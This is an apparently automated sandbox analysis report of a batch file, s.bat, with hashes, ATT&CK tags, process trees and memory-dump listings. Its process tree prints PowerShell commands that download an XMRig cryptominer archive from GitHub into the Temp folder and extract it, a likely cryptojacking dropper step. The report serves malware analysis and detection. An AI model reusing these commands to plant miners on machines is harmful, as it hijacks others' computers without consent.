1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a

Analysis

max time kernel
839s
max time network
839s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 15:10

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General

Target

s.bat
Size

1KB
MD5

f9e0161fac70cf9d9935e2f8d1f1891e
SHA1

a6a1efcdb0c9dc7dee578400e7b3e7fc7eda50cc
SHA256

1572be5be48b2559b80405a61761e6377ceb81c4b67ffeeeaa9a9819b9e5716a
SHA512

e5a2fad1a1b002620dc9d85bf6c041527cb614d9bacaa010f152d3bf39ca8838c55aec18534c19283f751645879b9c1cb7fe7567820093d7ada609a06d893bcf

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1892	powershell.exe
2292	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1892	powershell.exe
2292	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2336 wrote to memory of 1892	2336	cmd.exe	31
PID 2336 wrote to memory of 1892	2336	cmd.exe	31
PID 2336 wrote to memory of 1892	2336	cmd.exe	31
PID 2336 wrote to memory of 2292	2336	cmd.exe	32
PID 2336 wrote to memory of 2292	2336	cmd.exe	32
PID 2336 wrote to memory of 2292	2336	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2336
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
31316b1774b759a7c323a26768f40f04

SHA1
96d86ea5da1f7199d8a3e6422da8e41b413cbf63

SHA256
c35b5b2790dd4f251a1cc09dc96fa7ed5a5efe97854042f4c1137001f8aced69

SHA512
b11ea38686e0559bebbcf0d9d65256e2807ddaa26af0e13242fa610fcd5c17b4079e14829cab556b3a9f9dd916bcd597d5f9afeee8bde137648dbc2ebc7c51ae

Download Submit
memory/1892-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/1892-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/1892-6-0x00000000028A0000-0x00000000028A8000-memory.dmp

Filesize
32KB

Download
memory/1892-7-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1892-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1892-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1892-9-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1892-11-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/1892-12-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2292-18-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2292-19-0x0000000001E50000-0x0000000001E58000-memory.dmp

Filesize
32KB

Download